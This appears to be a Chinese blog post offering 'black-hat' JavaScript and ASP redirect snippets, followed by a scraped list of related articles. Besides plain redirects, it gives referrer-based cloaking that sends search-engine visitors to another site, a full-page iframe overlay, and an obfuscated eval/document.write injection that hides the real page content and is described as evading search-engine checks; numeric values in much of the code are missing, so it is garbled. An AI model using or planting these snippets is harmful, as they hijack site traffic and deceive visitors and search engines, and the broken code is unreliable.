黑帽JS跳转
一、常规的JS页面跳转代码
、在原来的窗体中直接跳转用
<script type=”text/javascript”>
window.location.href=”http://www.gzpu.com”;
</script>
、在新窗体中打开页面用:
<script type=”text/javascript”>
window.open(‘http://www.gzpu.com’);
</script>
、JS页面跳转参数的注解
<SCRIPT LANGUAGE=”javascript”>
<!–
window.open (‘page.html’, ‘newwindow’, ‘height=, width=, top=,left=, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no’)
//写成一行
–>
</SCRIPT>
参数解释:
<SCRIPT LANGUAGE=”javascript”> js脚本开始;
window.open 弹出新窗口的命令;
‘page.html’ 弹出窗口的文件名;
‘newwindow’ 弹出窗口的名字(不是文件名),非必须,可用空’代替;
height= 窗口高度;
width= 窗口宽度;
top= 窗口距离屏幕上方的象素值;
left= 窗口距离屏幕左侧的象素值。
二、跳转指定页面的JS代码
第1种:
<script language=”javascript” type=”text/javascript”>
window.location.href=”login.jsp?backurl=”+window.location.href;
</script>
第2种:
<script language=”javascript”>
alert(“返回”);
window.history.back(-);
</script>
第3种:
<script language=”javascript”>
window.navigate(“top.jsp”);
</script>
第4种:
<script language=”JavaScript”>
self.location=’top.htm’;
</script>
第5种:
<script language=”javascript”>
alert(“非法访问!”);
top.location=’xx.jsp’;
</script>
三、页面停留指定时间再跳转(如3秒)
<script type=”text/javascript”>
function jumurl(){
window.location.href = ‘http://www.gzpu.com';
}
setTimeout(jumurl,);
</script>
四、根据访客来源跳转的JS代码
、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:
<script LANGUAGE=”Javascript”>
var s=document.referrer
if(s.indexOf(“google”)> || s.indexOf(“baidu”)> || s.indexOf(“yahoo”)> )
location.href=”http://www.gzpu.com”;
</script>
、JS直接跳转代码
<script LANGUAGE=”Javascript”>
location.href=”http://www.gzpu.com”;
</script>
、ASP跳转代码判断来路
<%
if instr(Request.ServerVariables(“http_referer”),”www.baidu.com”)> then
response.redirect(“http://www.gzpu.com”)
end if
%>
、ASP直接跳转的
<%
response.redirect(“http://www.gzpu.com”)
%>
五、广告与网站页面一起的JS代码
、上面是广告下面是站群的代码
document.writeln(“<iframe scrolling=’no’ frameborder=’′ marginheight=’′ marginwidth=’′ width=’%’ height=’′ allowTransparency src=http://www.gzpu.com></iframe>”);
、全部覆盖的代码
document.write(“</iframe><iframe src=’http://www.gzpu.com’ rel=’nofollow’ scrolling=’no’ frameborder=’0′ width=’100%’ height=’2000′>”);
、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:
var ss = ‘<center id=”showcloneshengxiaon”><ifr’+’ame scrolling=”no” marginheight= marginwidth= frameborder=”″ width=”%” width=”’+’” height=”’+’” src=”ht’+’tp://’+’ww’+’w.g’+’z’+’pu.c’+’om/”></iframe></center>';
eval(“do”+”cu”+”ment.wr”+”ite(‘”+ss+”‘);”);
try{
setInterval(function(){
try{
document.getElementById(“div”+”All”).style.display=”no”+”ne”;
}catch(e){}
for(var i=;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!=”iconDiv1″ && myid!=”showcloneshengxiaon”){
// if(tagname!=”center”){
document.body.children[i].style.display=”non”+”e”;
//}
}
}catch(e){}
}
},);
}catch(e){}
六、页面跳出框架
<script type=”text/javascript”>
top.location.href=’http://www.gzpu.com';
</script>
七、返回上一页
<script type=”text/javascript”>
window.history.back(-);
</script>
黑帽JS跳转的更多相关文章
- SEO黑页以及门页框架和JS跳转实现方法
在去年大家还在针对第三方博客狂轰乱炸,比如:webs.com.blogspot.com.weebly.com主要是因为本身博客平台的权重,再就是低廉的成本,主需要注册,没有域名和服务器的投入.排名也非 ...
- 黑帽seo基础手法之快照劫持
实际上,楼主曾经是搞安全出身的.当然早期也对黑帽手法多少有些了解,最早08年开始,见证了百度一代又一代的黑帽手法,可谓百花齐放,大神大牛级人物层出不穷,但我想黑帽seo,先不谈其性质好坏,单单就技术本 ...
- 黑帽SEO手法
黑帽SEO手法 0x00:概念 SEO全称搜索引擎优化,通过站内优化和站内优化方式来提升搜索引擎排名,有白帽SEO和黑帽SEO. 因为正规的SEO优化需要很长时间,黑帽SEO手法让站内快速提升排名的有 ...
- 一次解决黑帽SEO的经历
最近有个朋友跟我说他的网站被黑了,百度快照里显示的是另一个网站,如: 于是查找了些资料,终于找到了问题所在,记录如下: 关于黑帽SEO1.暗链:其实“暗链”就是看不见的网站链接,“暗链”在网站中的链接 ...
- 从入侵到变现——“黑洞”下的黑帽SEO分析
概述 由于互联网入口流量主要被搜索引擎占据,网站在搜索引擎中的排名直接影响到市场营销效果,因此SEO服务应运而生.SEO(Search Engine Optimization)全称为搜索引擎优化,是指 ...
- 各种隐藏 WebShell、创建、删除畸形目录、特殊文件名、黑帽SEO作弊(转自核大大)
其实这个问题,经常有朋友问我,我也都帮大家解决了…… 但是现在这些现象越来越严重,而且手法毒辣.隐蔽.变态,清除了又来了,删掉了又恢复了,最后直接找不到文件了,但是访问网站还在,急的各大管理员.站长抓 ...
- 快速排名 让人疯狂的黑帽seo技术
对于黑帽seo大家或许并不陌生,黑帽seo和白帽seo恰恰相反,是作弊手段.有白帽seo的时候,就有了黑帽seo一直到现在.但隔行如隔山这句话这句话一点都没错,再没接触黑帽seo技术之前我根本不知道黑 ...
- 浅析10种常见的黑帽seo手法
虽然博主并不认同黑帽seo手法,但是一些常见的黑帽手法还是需要了解的,增加自己对黑帽的认知,也可以在自己优化网站时适时的规避开这些黑帽手法,从而避免自己的网站被搜索引擎惩罚.好了,话不多说,下面进入今 ...
- 简单讲解什么是黑帽SEO
此文章主要讲的是黑帽SEO之搜索引擎劫持: SEO(Search Engine Optimization)搜索引擎优化,简单来说,就是让网站的排名更高,比如,搜索"博客"这个关键字 ...
随机推荐
- 较完整checkstyle.xml及说明
具体项的具体说明请参考:https://www.cnblogs.com/ziyuyuyu/p/9870717.html 梳理此次完整checkstyle.xml说明,以备以后再此基础上删减 <? ...
- Django框架介绍(二)
1.MVC框架和MTV框架 MVC全名model view controller,是软件工程中的一种软件架构模式,把软件分为三个基本部分:模型(model).视图(view)和控制器(controll ...
- LVS-DR模式搭建
出于对架构的兴趣,一有时间我就会了解一下如何搭建一个高并发,高可用,可扩展的服务器运行环境.LVS-DR究竟现在的企业运用频率有多高其实我也不清楚,本文是下班之余断断续续研究搭建笔录,并且仅仅在vir ...
- rancher说明为什么需要按照指定版本安装以及rancher和节点linux环境配置-docker指定版本安装
rancher说明为什么需要按照指定版本安装以及rancher和节点linux环境配置-docker指定版本安装 待办 https://blog.csdn.net/CSDN_duomaomao/art ...
- BeautifulReport报告
Project description BeautifulReport 一个基于unittest.TestResult模块实现的测试用例模板, 可把测试中的结果通过BeautifulReport整合成 ...
- [git] git合并冲突 本地已有项目上传 各种问题
git... 讲道理 我现在能隐约感觉到他的强大控制能力了 但是依旧是不习惯.... 无论是什么操作 在我这里都会出问题,,,, 上传本地已有的项目到码云 首先需要现在码云创建一个仓库 然后用git工 ...
- MySQL对大小写敏感吗
见字如面,见标题知内容.你有遇到过因为MYSQL对大小写敏感而被坑的体验吗? 之前看过阿里巴巴Java开发手册,在MySql建表规约里有看到: [强制]表名.字段名必须使用小写字母或数字 , 禁止出现 ...
- 阿里云打包成zip格式,批量下载
/** * 从阿里云下载文件 (以附件形式下载) 多个文件进行zip下载 第二种 * @param request * @param response */ @ResponseBody @Reques ...
- MySQL-THINKPHP 商城系统二 商品模块的展示
上回已经说到,商品被分为spu商品和sku商品 , ------------------------------------------------------------------------- ...
- 如何在linux安装ruby2.2.2+
背景: 想搭建redis集群但是提示需要ruby2.2.2+ 直接使用yum安装 yum -y install ruby ruby-devel rubygems rpm-build 使用ruby -v ...